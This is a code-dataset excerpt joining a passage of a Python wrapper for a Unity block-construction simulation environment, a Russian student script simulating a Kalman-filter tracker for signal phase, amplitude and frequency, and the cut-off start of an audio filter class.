include_observer_camera: If True, a separate \"ObserverRGB\" field will\n contain a second camera with potentically different resolution.\n observer_width: Horizontal resolution of the observer camera observation.\n If None it will default to `width`.\n observer_height: Vertical resolution of the observer camera observation.\n If None it will default to `height`.\n observer_3d: If True, the observer camera will render in 3d.\n show_set_cursor: If True, the set cursor will be visible.\n show_select_cursor: If True, the select cursor will be visible.\n max_simulation_substeps: If 0, the number of \"SimulationSteps\" will be\n executed at once together with the actions for maximum efficiency when\n training agents.\n If max_simulation_substeps > 0, It will proceed as follows:\n 1. Store the \"SimulationSteps\" as pending simulation steps.\n 2. Apply a first step to the environment with all passed actions except\n overriding SimulationSteps to 0.\n 3. Keep applying environment steps with\n SimulationSteps = max_simulation_substeps, until there are no pending\n simulation steps. (Depending on rounding the last environment step\n may contain less than max_simulation_substeps).\n This allows to visualize trajectories in between agent steps by\n using an observer via the `add_observer` methods, together with this\n option.\n local_path: If provided, it will use a local build of the unity\n environment.\n max_collisions_per_simulation_step: The maximum number of new collisions\n that can happen within a single simulation step. A large number of new\n collisions occurring in a very short period of time usually indicates\n instability in the simulation. A MetaEnvironmentError is raised, and\n the environment is reset to an empty safe state.\n \"\"\"\n\n if version is None:\n version = LAST_PRODUCTION_LABEL\n if observer_width is None:\n observer_width = width\n if observer_height is None:\n observer_height = height\n\n self._version = version\n self._include_agent_camera = include_agent_camera\n self._width = width\n self._height = height\n self._include_segmentation_camera = include_segmentation_camera\n self._include_observer_camera = include_observer_camera\n self._num_segmentation_layers = num_segmentation_layers\n self._observer_width = observer_width\n self._observer_height = observer_height\n self._observer_3d = observer_3d\n self._local_path = local_path\n self._show_set_cursor = show_set_cursor\n self._show_select_cursor = show_select_cursor\n self._max_collisions_per_simulation_step = (\n max_collisions_per_simulation_step)\n self._load_env(loader)\n self._raw_observations_observers = []\n self._max_simulation_substeps = max_simulation_substeps\n self._action_names_bounds = utils.get_action_names_and_bounds(\n self._env.action_spec())\n\n # The \"IsAction\" action is for internal use only.\n self._valid_action_names = [name for name, _ in self._action_names_bounds]\n self._valid_action_names.remove(\"IsAction\")\n self._valid_action_names += constants.ADDITIONAL_HELPER_ACTIONS\n\n self._observation_spec = self._build_observation_spec()\n self._action_spec = self._build_action_spec()\n\n # Empirically we have observed that observations sometimes come empty\n # but only the very first time and right after instantiating the\n # environment. Sleeping and forcing reset seems to fix it.\n time.sleep(1)\n self.reset()\n time.sleep(1)\n\n def add_observer(self, observer):\n \"\"\"Adds a raw observation observer.\n\n The observer will be notified for each new observation obtained from the\n mpm process. If the `max_simulation_substeps` argument is provided when\n instantiating the class, the observer will also be notified of additional\n intermediate observations corresponding to dynamics substeps within a\n single `step` call.\n\n Args:\n observer: A callable that takes as argument an observation.\n \"\"\"\n self._raw_observations_observers.append(observer)\n\n def remove_observer(self, observer):\n \"\"\"Removes a raw observation observer that was previously added.\n\n Args:\n observer: A callable that takes as argument an observation.\n \"\"\"\n self._raw_observations_observers.remove(observer)\n\n def _get_simulation_steps_action(self, previous_action, num_steps=1):\n # We want to simply run simulation steps with cursors still pointing to\n # the same location used by a previous action, and same gravity/timestep.\n action_dict = {\"SimulationSteps\": float(num_steps)}\n actions_to_repeat = [\"SelectPosX\", \"SelectPosY\", \"SetPosX\",\n \"SetPosY\", \"GravityX\", \"GravityY\", \"Timestep\",\n \"StopOnCollision\", \"CameraPosX\", \"CameraPosY\",\n \"CameraHeight\"]\n\n for action in actions_to_repeat:\n if action in previous_action:\n action_dict[action] = previous_action[action]\n return self._flatten_action_dict(action_dict)\n\n def _flatten_action_dict(self, action_dict):\n for action_name in action_dict:\n if action_name not in self._valid_action_names:\n raise ValueError(\"Unrecognized action {}, valid actions are {}.\"\n .format(action_name, self._valid_action_names))\n action_dict = _replace_helper_actions(action_dict)\n action_values = {\n name: action_dict.get(\n name, ACTION_DEFAULTS.get(name, OTHER_ACTION_DEFAULT))\n for name, _ in self._action_names_bounds}\n action_list = [\n _prepare_action(name, action_values[name], bound_1-bound_0)\n for name, (bound_0, bound_1) in self._action_names_bounds]\n flat_actions = (np.concatenate(action_list, axis=0).astype(np.float32),)\n return flat_actions\n\n def _get_config_json(self):\n config_json = {\"levelName\": \"ConstructionMetaEnvironment\",\n \"ShowSetCursor\": self._show_set_cursor,\n \"ShowSelectCursor\": self._show_select_cursor,\n \"MaxCollisionsPerSimulationStep\": (\n self._max_collisions_per_simulation_step)}\n\n observations = [\n \"Blocks\", \"Contacts\", \"ElapsedTime\",\n \"SpawnCollisionCount\", \"CollisionStop\", \"Message\"]\n\n if self._include_agent_camera or self._include_segmentation_camera:\n height = self._height\n width = self._width\n config_json.update({\n \"AgentCameraWidth\": width,\n \"AgentCameraHeight\": height})\n\n if self._include_agent_camera:\n observations.append(\"AgentCamera\")\n\n if self._include_segmentation_camera:\n config_json.update({\n \"NumSegmentationLayers\": self._num_segmentation_layers})\n observations.append(\"SegmentationCamera\")\n\n if self._include_observer_camera:\n height = self._observer_height\n width = self._observer_width\n config_json.update({\n \"ObserverCameraWidth\": width,\n \"ObserverCameraHeight\": height,\n \"ObserverCamera3D\": self._observer_3d})\n observations.append(\"ObserverCamera\")\n\n self._obs_to_ind_map = {\n obs: index for index, obs in enumerate(observations)}\n\n return config_json, observations\n\n def _load_env(self, loader):\n config_json, observations = self._get_config_json()\n self._env = loader(\n config_json, observations, self._version, local_path=self._local_path)\n\n # Verify that the version is consistent.\n version = self._env.read_property(\"Version\")\n\n if version != self._version:\n raise ValueError(\"Wrong version loaded: required `{}`, got `{}`.\"\n .format(self._version, version))\n else:\n msg = (\"Construction meta-environment running at version `%s`.\" %\n version)\n if self._local_path:\n msg += \" (Local build)\"\n logging.info(msg)\n\n def __del__(self):\n if hasattr(self, \"_env\"):\n self._env.close()\n\n def close(self):\n return self._env.close()\n\n def hard_reset(self):\n # Perform a hard reset of the environment, which does not return anything.\n # Then, perform a soft reset so we can actually get a timestep.\n self._env.reset()\n return self.reset()\n\n def reset(self):\n return self.step({\"Reset\": 1.})\n\n @property\n def last_observation(self):\n \"\"\"Returns the last observation.\"\"\"\n return self._last_observation\n\n def restore_state(self,\n observation,\n verify_restored_state=True,\n verification_threshold_abs=1e-3,\n verification_threshold_rel=1e-5,\n verify_velocities=True):\n \"\"\"Restores the environment to the state given by an observation.\n\n Args:\n observation: Environment observation.\n verify_restored_state: If True, it will verify that the observation\n after restoring is consistent with the observation set.\n verification_threshold_abs: Maximum absolute difference disagreement\n between features in the input observation and the restore observation\n allowed when `verify_restored_state==True`.\n verification_threshold_rel: Maximum relative difference disagreement\n between features in the input observation and the restore observation\n allowed when `verify_restored_state==True`.\n verify_velocities: If False, the velocities will not be verified. This is\n sometimes required in environments that make extensive use of glue,\n as the velocities cannot always be set correctly for constraints.\n\n Returns:\n A timestep with the first observation after restoring the state. All\n fields should be equal to those in the observation passed as argument\n (except for numerical precision errors). Camera renders are just copied\n from the input observation. As the observation is not informative enough\n to tell the placement of the cameras, and also cursors may be in different\n positions.\n\n Raises:\n ValueError if the shapes or values of the observation after restoring\n are different than those being restored.\n\n \"\"\"\n serialized_blocks = _serialize_array(observation[\"Blocks\"])\n serialized_contacts = _serialize_array(observation[\"Contacts\"])\n string_spawn_collision_count = \"%d\" % observation[\"SpawnCollisionCount\"]\n string_elapsed_time = \"%g\" % observation[\"ElapsedTime\"]\n string_collision_stop = \"%d\" % int(observation[\"CollisionStop\"])\n\n empty_markers = \"\" # For deprecated marker behavior.\n serialized_observation = \"/\".join([\n empty_markers, serialized_blocks, serialized_contacts,\n string_spawn_collision_count, string_elapsed_time,\n string_collision_stop])\n self._env.write_property(\n \"RestoreObservation\", serialized_observation)\n # We need to send a null action after setting the property with\n # the sequence, to run the effects, and get the observation back.\n\n restored_timestep = self._one_step({})\n if verify_restored_state:\n _verify_restored_observation(\n observation,\n restored_timestep.observation,\n difference_threshold_abs=verification_threshold_abs,\n difference_threshold_rel=verification_threshold_rel,\n verify_velocities=verify_velocities)\n if self._include_agent_camera:\n restored_timestep.observation[\"RGB\"] = observation[\"RGB\"].copy()\n if self._include_observer_camera:\n restored_timestep.observation[\"ObserverRGB\"] = (\n observation[\"ObserverRGB\"].copy())\n\n self._last_observation = restored_timestep.observation.copy()\n return restored_timestep\n\n def step(self, actions):\n \"\"\"Applies the actions to the environment.\n\n Args:\n actions: Dictionary of actions containing an action set as indicated by\n the action spec. Keys that are not specified will take the default\n value as contained in ACTION_DEFAULTS. Limits of the actions are not\n enforced for additional flexibility. Optionally, a list of dictionaries\n may be passed instead, in which case the entire sequence of action sets\n will be sent and processed by the unity backend in a single interaction,\n speeding up the execution of the sequence.\n\n Returns:\n TimeStep with the final observation resulting from applying the action\n set, or the entire action set list.\n\n Raises:\n ValueError: if the actions are not a dictionary or a list.\n MetaEnvironmentError: if an error occurs in the underlying Unity\n environment.\n\n \"\"\"\n if isinstance(actions, list):\n return self._multiple_steps(actions)\n elif isinstance(actions, dict):\n return self._one_step(actions)\n else:\n raise ValueError(\"Unrecognized action type {}, should be a list or a dict\"\n .format(type(actions)))\n\n def _multiple_steps(self, action_dict_list):\n if action_dict_list:\n # If we are storing timesteps, we actually actions one by one.\n if self._max_simulation_substeps > 0:\n for action_dict in action_dict_list:\n time_step = self._one_step(action_dict)\n return time_step\n\n # Otherwise, we pack all of the actions, and send them as one.\n flat_actions_list = [self._flatten_action_dict(action_dict)[0]\n for action_dict in action_dict_list]\n serialized_action_sequence = _serialize_array(flat_actions_list)\n self._env.write_property(\n \"ChainedActionSequence\", serialized_action_sequence)\n\n # We need to send a null action after setting the property with\n # the sequence, to run the effects, and get the observation back.\n # If the list is empty this will just return the observation with the\n # current state.\n return self._one_step({})\n\n def _one_step(self, action_dict):\n # If we want to explicitly run simulation steps, we set them to 0, and\n # run them later in a loop.\n if self._max_simulation_substeps:\n action_dict = action_dict.copy()\n num_pending_simulation_steps = action_dict.get(\"SimulationSteps\", 0)\n num_pending_simulation_steps = int(round(num_pending_simulation_steps))\n action_dict[\"SimulationSteps\"] = 0.\n else:\n num_pending_simulation_steps = 0\n\n time_step = self._process_and_store_timestep(\n self._env.step(self._flatten_action_dict(action_dict)))\n\n # We simulate exactly `num_extra_simulation_steps` by sending multiple\n # environment steps, each with not more than self._explicit_simulation_steps\n if num_pending_simulation_steps:\n while (num_pending_simulation_steps > 0 and\n not time_step.observation[\"CollisionStop\"]):\n if num_pending_simulation_steps >= self._max_simulation_substeps:\n num_substeps = self._max_simulation_substeps\n num_pending_simulation_steps -= self._max_simulation_substeps\n else:\n num_substeps = num_pending_simulation_steps\n num_pending_simulation_steps = 0\n time_step = self._process_and_store_timestep(\n self._env.step(self._get_simulation_steps_action(\n action_dict, num_substeps)))\n return time_step\n\n def _build_action_spec(self):\n # Separate each of the actions into a dictionary.\n flat_action_spec = self._env.action_spec()[0]\n action_spec = {}\n for name, (bound_0, bound_1) in self._action_names_bounds:\n size = bound_1 - bound_0\n if size <= 1:\n shape = []\n index = bound_0\n else:\n shape = [size]\n index = slice(bound_0, bound_1)\n action_spec[name] = specs.BoundedArray(\n shape, dtype=np.float32,\n minimum=flat_action_spec.minimum[index],\n maximum=flat_action_spec.maximum[index])\n del action_spec[\"IsAction\"]\n return action_spec\n\n def action_spec(self, *args, **kwargs):\n return self._action_spec\n\n def _build_observation_spec(self):\n parent_observation_spec = self._env.observation_spec()\n observation_spec = {\n \"Blocks\": specs.Array(\n [0, constants.BLOCK_SIZE], dtype=np.float32, name=\"Blocks\"),\n \"Contacts\": specs.Array(\n [0, constants.CONTACT_SIZE], dtype=np.float32, name=\"Contacts\"),\n \"ElapsedTime\": specs.Array(\n (), dtype=np.float32,\n name=\"ElapsedTime\"),\n \"SpawnCollisionCount\": specs.Array(\n (), dtype=np.int32,\n name=\"SpawnCollisionCount\"),\n \"CollisionStop\": specs.Array(\n (), dtype=np.bool,\n name=\"SpawnCollisionCount\")\n }\n\n if self._include_agent_camera:\n observation_spec[\"RGB\"] = parent_observation_spec[\n self._obs_to_ind_map[\"AgentCamera\"]]\n\n if self._include_observer_camera:\n observation_spec[\"ObserverRGB\"] = parent_observation_spec[\n self._obs_to_ind_map[\"ObserverCamera\"]]\n\n if self._include_segmentation_camera:\n raw_spec = parent_observation_spec[\n self._obs_to_ind_map[\"SegmentationCamera\"]]\n observation_spec[\"Segmentation\"] = specs.Array(\n raw_spec.shape, dtype=np.int32, name=\"Segmentation\")\n\n return observation_spec\n\n def observation_spec(self, *args, **kwargs):\n return self._observation_spec\n\n def _process_message(self, message):\n messages = message.split(\";\")\n for message in messages:\n if not message:\n continue\n if message.startswith(\"E:\"):\n raise constants.MetaEnvironmentError(message)\n else:\n logging.info(message)\n\n def _process_and_store_timestep(self, time_step):\n \"\"\"Deserialize string observations into arrays, removing ignored ones.\"\"\"\n blocks = _deserialize_array(\n time_step.observation[self._obs_to_ind_map[\"Blocks\"]],\n expected_size=constants.BLOCK_SIZE)\n contacts = _deserialize_array(\n time_step.observation[self._obs_to_ind_map[\"Contacts\"]],\n expected_size=constants.CONTACT_SIZE)\n new_observation = {\n \"Blocks\": blocks,\n \"Contacts\": contacts,\n \"ElapsedTime\": time_step.observation[\n self._obs_to_ind_map[\"ElapsedTime\"]][0].astype(np.float32),\n \"SpawnCollisionCount\": np.array(\n round(time_step.observation[\n self._obs_to_ind_map[\"SpawnCollisionCount\"]][0]),\n dtype=np.int32),\n \"CollisionStop\": np.array(\n round(time_step.observation[\n self._obs_to_ind_map[\"CollisionStop\"]][0]), dtype=np.bool)}\n\n if self._include_agent_camera:\n new_observation[\"RGB\"] = time_step.observation[\n self._obs_to_ind_map[\"AgentCamera\"]]\n\n if self._include_observer_camera:\n new_observation[\"ObserverRGB\"] = time_step.observation[\n self._obs_to_ind_map[\"ObserverCamera\"]]\n\n if self._include_segmentation_camera:\n new_observation[\"Segmentation\"] = time_step.observation[\n self._obs_to_ind_map[\"SegmentationCamera\"]].astype(np.int32)\n\n message = str(time_step.observation[self._obs_to_ind_map[\"Message\"]])\n self._process_message(message)\n\n for observer in self._raw_observations_observers:\n observer(new_observation.copy())\n\n self._last_observation = new_observation.copy()\n return time_step._replace(observation=new_observation,\n discount=np.array(time_step.discount,\n dtype=np.float32))\n\n\ndef block_to_actions(block, delete_existing=False):\n \"\"\"Converts a block vector representation into actions that create the block.\n\n The idea here is that a block with the properties of `block` will be created\n when the returned actions are executed in the unity environment.\n\n Note that if delete_existing=False, and an object already exists with that id,\n the actions will still create an object, but it will have a different id than\n the one specified in `block`.\n\n Args:\n block: a vector of block properties\n delete_existing: whether to delete an existing block with the given id\n\n Returns:\n action: a dictionary of actions to create the block\n \"\"\"\n action = {\n \"SpawnBlock\": 1.,\n \"SetId\": block[constants.ID_FEATURE_INDEX],\n \"SetPosX\": block[constants.POSITION_X_FEATURE_INDEX],\n \"SetPosY\": block[constants.POSITION_Y_FEATURE_INDEX],\n \"SetPosZ\": block[constants.POSITION_Z_FEATURE_INDEX],\n \"SetAngle\": np.arctan2(block[constants.SINE_ANGLE_FEATURE_INDEX],\n block[constants.COSINE_ANGLE_FEATURE_INDEX]),\n \"Width\": block[constants.WIDTH_FEATURE_INDEX],\n \"Height\": block[constants.HEIGHT_FEATURE_INDEX],\n \"Depth\": block[constants.DEPTH_FEATURE_INDEX],\n \"RGBA\": np.asarray([block[constants.RED_CHANNEL_FEATURE_INDEX],\n block[constants.GREEN_CHANNEL_FEATURE_INDEX],\n block[constants.BLUE_CHANNEL_FEATURE_INDEX],\n block[constants.ALPHA_CHANNEL_FEATURE_INDEX]]),\n \"SetVelX\": block[constants.VELOCITY_X_FEATURE_INDEX],\n \"SetVelY\": block[constants.VELOCITY_Y_FEATURE_INDEX],\n \"SetVelAngle\": block[constants.ANGULAR_VELOCITY_FEATURE_INDEX],\n \"PhysicalBody\": block[constants.PHYSICAL_OBJECT_FEATURE_INDEX],\n \"CollisionMask\": (block[constants.COLLISION_MASK_FEATURE_SLICE]*\n np.power(2, np.arange(constants.NUM_LAYERS))).sum(),\n \"Density\": block[constants.DENSITY_FEATURE_INDEX],\n \"Bounciness\": block[constants.BOUNCINESS_FEATURE_INDEX],\n \"Friction\": block[constants.FRICTION_FEATURE_INDEX],\n \"LinearDrag\": block[constants.LINEAR_DRAG_FEATURE_INDEX],\n \"AngularDrag\": block[constants.ANGULAR_DRAG_FEATURE_INDEX],\n \"FreeBody\": block[constants.FREE_OBJECT_FEATURE_INDEX],\n \"Glueable\": block[constants.GLUEABLE_FEATURE_INDEX],\n \"Sticky\": block[constants.STICKY_FEATURE_INDEX],\n \"UseGlue\": block[constants.GLUED_FEATURE_INDEX],\n \"Shape\": np.argmax(block[constants.SHAPE_FEATURE_SLICE]),\n }\n\n if delete_existing:\n action[\"Delete\"] = 1.\n action[\"SelectId\"] = action[\"SetId\"]\n\n return action\n\n\ndef _deserialize_array(string, expected_size=2, dtype=np.float32):\n if not string:\n return np.zeros([0, expected_size], dtype=dtype)\n\n return np.array(\n [[float(item_element)\n for item_element in item.split(\",\")]\n for item in str(string).split(\";\")],\n dtype=dtype)\n\n\ndef _serialize_array(array):\n return \";\".join([\",\".join([\"%g\" % e for e in row]) for row in array])\n\n\ndef _verify_restored_observation(\n input_observation, restored_observation,\n difference_threshold_abs=1e-3, difference_threshold_rel=1e-5,\n verify_velocities=True):\n \"\"\"Verifies if a restored observation is equal to an input observation.\"\"\"\n observation_names = list(input_observation.keys())\n error_messages = []\n for observation_name in observation_names:\n # We ignore cameras, as they are just copied from the inputs.\n if observation_name in [\"RGB\", \"ObserverRGB\"]:\n continue\n\n input_ = input_observation[observation_name]\n restored = restored_observation[observation_name]\n\n # This can happen if there are a different number of contacts.\n if input_.shape != restored.shape:\n error_messages.append(\n \"Shape for the restored observation {} is different than the shape \"\n \"for the input observation {} for observation `{}`.\"\n .format(restored.shape, input_.shape, observation_name))\n continue\n\n if not input_.size:\n continue\n\n target = input_.copy().astype(np.float32)\n comparison = restored.copy().astype(np.float32)\n\n if not verify_velocities and observation_name == \"Blocks\":\n idx = [\n constants.VELOCITY_X_FEATURE_INDEX,\n constants.VELOCITY_Y_FEATURE_INDEX,\n constants.ANGULAR_VELOCITY_FEATURE_INDEX\n ]\n target[:, idx] = 0\n comparison[:, idx] = 0\n\n threshold = (\n difference_threshold_abs + difference_threshold_rel * np.abs(target))\n too_far = np.abs(target - comparison) > threshold\n if too_far.any():\n difference = np.abs(target - comparison) * too_far\n\n if difference.shape:\n max_diff_index = np.unravel_index(\n np.argmax(difference), difference.shape)\n max_difference = difference[max_diff_index]\n difference_threshold = threshold[max_diff_index]\n input_value = input_[max_diff_index]\n else:\n max_diff_index = None\n max_difference = difference\n difference_threshold = threshold\n input_value = input_\n\n error_messages.append(\n \"Feature at index {} of `{}` observation with shape {} differs by \"\n \"{} (more than {}) from the input observation with value {}.\"\n .format(max_diff_index, observation_name, input_.shape,\n max_difference, difference_threshold, input_value))\n\n if error_messages:\n raise constants.RestoreVerificationError(\"\\n\".join(error_messages))\n\n\ndef _prepare_action(name, value, size):\n \"\"\"Adds a leading axis to scalars and verifies the size.\"\"\"\n value = np.asarray(value)\n if not value.shape:\n value = value[np.newaxis]\n\n if value.shape[0] != size:\n raise ValueError(\"Invalid size value for %s, expected %d, got %d\"%\n (name, size, value.shape[0]))\n return value\n\n\ndef _verify_mutually_exclusive_actions(\n action_dict, action_name, invalid_action_names):\n for other_name in invalid_action_names:\n if other_name in action_dict:\n raise ValueError(\"Got %s action, but %d was already provided\" %\n (action_name, other_name))\n\n\ndef _replace_helper_actions(action_dict):\n \"\"\"Replaces helper actions by the corresponding actions.\"\"\"\n _replace_color_helper_actions(action_dict)\n return action_dict\n\n\ndef _replace_color_helper_actions(action_dict):\n \"\"\"Replaces all color-related helper actions ensuring on RGBA is left.\"\"\"\n if \"RGBA\" in action_dict:\n _verify_mutually_exclusive_actions(\n action_dict, \"RGBA\", [\"RGB\", \"R\", \"G\", \"B\", \"A\"])\n else:\n if \"A\" in action_dict:\n alpha = action_dict[\"A\"]\n del action_dict[\"A\"]\n else:\n alpha = ACTION_DEFAULTS.get(\"A\", OTHER_ACTION_DEFAULT)\n\n if \"RGB\" in action_dict:\n _verify_mutually_exclusive_actions(action_dict, \"RGB\", [\"R\", \"G\", \"B\"])\n action_dict[\"RGBA\"] = np.concatenate(\n [action_dict[\"RGB\"], np.asarray(alpha)[None]], axis=0)\n del action_dict[\"RGB\"]\n else:\n channel_values = []\n for channel in [\"R\", \"G\", \"B\"]:\n if channel in action_dict:\n value = action_dict[channel]\n del action_dict[channel]\n else:\n value = ACTION_DEFAULTS.get(channel, OTHER_ACTION_DEFAULT)\n channel_values.append(value)\n channel_values.append(alpha)\n action_dict[\"RGBA\"] = np.stack(channel_values, axis=0)\n return action_dict\n","repo_name":"deepmind/dm_construction","sub_path":"dm_construction/unity/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":34230,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"67"} +{"seq_id":"31215722092","text":"\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 9 13:21:03 2020\r\n\r\n@author: malafeeva_dd\r\n\"\"\"\r\nimport numpy as np\r\nimport math\r\nfrom numpy.linalg import inv\r\nimport matplotlib.pyplot as plt\r\nimport random\r\n\r\n\"\"\"-----------------------------Параметры моделирования---------------------\"\"\"\r\nT = 10 * 1e-3 \r\nT_d = 0.2 * 1e-6\r\nmod_time = 20 # в секундах\r\nc = 3 * 1e8\r\nw0 = 2 * math.pi * 1602 * 1e6\r\nw_p = 2 * math.pi * 2 * 1e6\r\nalpha = 1\r\nq_c_n0 = 10 ** (0.1 * 30)\r\nt_list = []\r\nN = int(T/T_d)\r\n\r\n\"\"\"-----------------------Моделируем шум------------------------------------\"\"\"\r\n# формирующий шум пси\r\nsigma_psi = 0.5\r\npsi_list = np.random.normal(loc = 0.0, scale = sigma_psi * 1, size = N)\r\n\r\n# формирующий шум кси\r\nsigma_a = 10\r\nS_ksi = 2 * (sigma_a**2) * alpha * ((w0/c)**2)\r\nsigma_ksi = math.sqrt((S_ksi)/(2*T))\r\nksi_list = np.random.normal(loc = 0.0, scale = sigma_ksi * 1, size = N)\r\n\r\n# шум наблюдения\r\nsigma_n = 35.4\r\n\r\n\"\"\"---------------------------Инициализация--------------------------------\"\"\"\r\n# начальные значения истинных параметров\r\na_true = 1\r\nphi_true = math.pi/12\r\nOmega_true = 100\r\nv_true = 100\r\n\r\n# начальные значения скорректированных оценок\r\na_corr = 0.5\r\nphi_corr = 0\r\nOmega_corr = 0\r\nv_corr = 0\r\n\r\n# матрицы фильтра\r\nX_true = np.array([[a_true],\\\r\n [phi_true],\\\r\n [Omega_true],\\\r\n [v_true]])\r\n\r\nX_corr = np.array([[a_corr],\\\r\n [phi_corr],\\\r\n [Omega_corr],\\\r\n [v_corr]]) # 4x1\r\n \r\n\r\nC = np.array([[1, 0, 0, 0],\\\r\n [0, 1, 0, 0]]) # 1x2\r\n\r\nD_x_corr = np.array([[(0.3)**2, 0, 0, 0],\\\r\n [0, (math.pi)**2, 0, 0],\\\r\n [0, 0, 34**2, 0],\\\r\n [0, 0, 0, 340**2]]) # 4x4\r\n \r\nG = np.array([[T, 0],\\\r\n [0, 0],\\\r\n [0, 0],\\\r\n [0, alpha * T]]) # 4x2\r\n\r\nD_ksi = np.array([[sigma_psi**2, 0],\\\r\n [ 0, sigma_ksi**2]]) # 2x2\r\n\r\n \r\nD_n = np.array([[sigma_n**2]]) # 1x1\r\n\r\nF = np.array([[1, 0, 0, 0],\\\r\n [0, 1, T, 0],\\\r\n [0, 0, 1, T],\\\r\n [0, 0, 0, (1 - alpha * T)]]) # 4x4\r\n\r\nW12 = 0\r\nW21 = 0\r\n \r\nk = 0\r\nt_k = 0\r\nt_k_list = []\r\nEpsilon_phi_list = []\r\nD_phi_max_list = []\r\nD_phi_min_list = []\r\nS_sin_list = []\r\nphi_p_list = []\r\nEpsilon_a_list = []\r\nD_a_max_list = []\r\nD_a_min_list = []\r\nEpsilon_w_list = []\r\nD_w_max_list = []\r\nD_w_min_list = []\r\nD_phi_list = []\r\n\r\nwhile t_k < mod_time:\r\n t_k +=T\r\n t_k_list.append(t_k)\r\n \r\n \"\"\"----------------------Входное воздействие----------------------------\"\"\"\r\n psi_ksi = np.array([[psi_list[k]],\\\r\n [ksi_list[k]]]) \r\n \r\n X_true = F.dot(X_true) + G.dot(psi_ksi)\r\n \r\n # амплитуда\r\n if t_k < 1:\r\n X_true[0][0] = 1\r\n elif t_k >= 1:\r\n X_true[0][0] = 0.5\r\n \r\n \"\"\"----------------------------Экстраполяция----------------------------\"\"\"\r\n X_extr = F.dot(X_corr) # 4x1\r\n \r\n D_x_extr_pt1 = (F.dot(D_x_corr)).dot(F.transpose()) # 4x4\r\n\r\n D_x_extr_pt2 = (G.dot(D_ksi)).dot(G.transpose()) # 4x4\r\n\r\n D_x_extr = D_x_extr_pt1 + D_x_extr_pt2 # 4x4\r\n\r\n W11 = (N)/(2 * sigma_n**2)\r\n \r\n W22 = (N *((X_extr[0][0])**2))/(2 * sigma_n**2)\r\n \r\n W = np.array([[W11, W12],\\\r\n [W21, W22]])\r\n \r\n \"\"\"--------------------------Коррелятор---------------------------------\"\"\"\r\n # фаза на w_p\r\n phi_p = np.array(range(0, N, 1)) * T_d * w_p\r\n \r\n n_list = np.random.normal(loc = 0.0, scale = sigma_n * 1, size = N)\r\n \r\n y = X_true[0][0] * np.cos(phi_p + X_true[1][0]) + n_list\r\n \r\n S_sin = np.sin(phi_p + X_extr[1][0])\r\n \r\n S_cos = np.cos(phi_p + X_extr[1][0])\r\n \r\n I = np.sum(np.dot(y, S_cos))\r\n \r\n Q = np.sum(np.dot(y, S_sin))\r\n \r\n U_1 = I * (1/D_n) - ((X_extr[0][0] * N)/(2 * D_n))\r\n \r\n U_2 = Q * ((-X_extr[0][0])/(D_n))\r\n \r\n U = np.array([U_1[0],\\\r\n U_2[0]])\r\n \r\n \"\"\"------------------------------Коррекция------------------------------\"\"\"\r\n \r\n D_x_corr = inv(inv(D_x_extr) + ((C.transpose().dot(W)).dot(C))) # 4x4 \r\n \r\n X_corr = X_extr + ((D_x_corr.dot(C.transpose())).dot(U)) # 4x1\r\n \r\n \r\n # мгновенная ошибка фильтрации фазы\r\n Epsilon_phi = math.degrees(X_corr[1][0] - X_true[1][0])\r\n Epsilon_phi_list.append(Epsilon_phi)\r\n # предельные границы ошибок фильтрации фазы по уровню 3 сигма\r\n D_phi_max = math.degrees(3 * math.sqrt(D_x_corr[1][1]))\r\n D_phi_max_list.append(D_phi_max)\r\n D_phi_min = math.degrees(-3 * math.sqrt(D_x_corr[1][1]))\r\n D_phi_min_list.append(D_phi_min)\r\n \r\n # сохраняю дисперсию ошибки фазы для дз4 (из графика)\r\n\r\n D_phi_before = 23.6441\r\n\r\n D_phi_after = 42.94\r\n \r\n \r\n # мгновенная ошибка фильтрации амплитуды\r\n Epsilon_a = X_corr[0][0] - X_true[0][0]\r\n Epsilon_a_list.append(Epsilon_a)\r\n # предельные границы ошибок фильтрации амплитуды по уровню 3 сигма\r\n D_a_max = 3 * math.sqrt(D_x_corr[0][0])\r\n D_a_max_list.append(D_a_max)\r\n D_a_min = -3 * math.sqrt(D_x_corr[0][0])\r\n D_a_min_list.append(D_a_min)\r\n \r\n \r\n # мгновенная ошибка фильтрации частоты\r\n Epsilon_w = X_corr[2][0] - X_true[2][0]\r\n Epsilon_w_list.append(Epsilon_w)\r\n # предельные границы ошибок фильтрации частоты по уровню 3 сигма\r\n D_w_max = 3 * math.sqrt(D_x_corr[2][2])\r\n D_w_max_list.append(D_w_max)\r\n D_w_min = -3 * math.sqrt(D_x_corr[2][2])\r\n D_w_min_list.append(D_w_min)\r\n \r\n k+=1\r\n \r\n print('--------------')\r\n print('Шаг №' + str(k))\r\n print('X_corr = ' + str(X_corr))\r\n print(' ')\r\n \r\n\r\n\"\"\"----------------------Сохранение и вывод результатов---------------------\"\"\"\r\n\r\n\r\nplt.figure(11)\r\nplt.plot(t_k_list, Epsilon_phi_list, '.-', color = 'blueviolet', linewidth = 1)\r\nplt.plot(t_k_list, D_phi_max_list, '.-', color = 'red', linewidth = 1)\r\nplt.plot(t_k_list, D_phi_min_list, '.-', color = 'red', linewidth = 1)\r\nplt.xlabel('t, с')\r\nplt.ylabel('Epsilon_phi(t), град/с')\r\nplt.title('')\r\nplt.grid()\r\nplt.show() \r\n\r\n\r\nplt.figure(12)\r\nplt.plot(t_k_list, Epsilon_a_list, '.-', color = 'blueviolet', linewidth = 1)\r\nplt.plot(t_k_list, D_a_max_list, '.-', color = 'red', linewidth = 1)\r\nplt.plot(t_k_list, D_a_min_list, '.-', color = 'red', linewidth = 1)\r\nplt.xlabel('t, с')\r\nplt.ylabel('Epsilon_a(t)')\r\nplt.title('')\r\nplt.grid()\r\nplt.show()\r\n\r\nplt.figure(13)\r\nplt.plot(t_k_list, Epsilon_w_list, '.-', color = 'blueviolet', linewidth = 1)\r\nplt.plot(t_k_list, D_w_max_list, '.-', color = 'red', linewidth = 1)\r\nplt.plot(t_k_list, D_w_min_list, '.-', color = 'red', linewidth = 1)\r\nplt.xlabel('t, с')\r\nplt.ylabel('Epsilon_a(t), рад/с')\r\nplt.title('')\r\nplt.grid()\r\nplt.show()\r\n\r\n","repo_name":"DaryaMalafeeva/MOPS","sub_path":"dz3_filter.py","file_name":"dz3_filter.py","file_ext":"py","file_size_in_byte":8172,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4314145681","text":"#-*- coding:utf-8 -*-\n\n'''\nCreated on 2017-1-10\n\n@author: libin\n'''\n\nclass AudioFliter():\n def 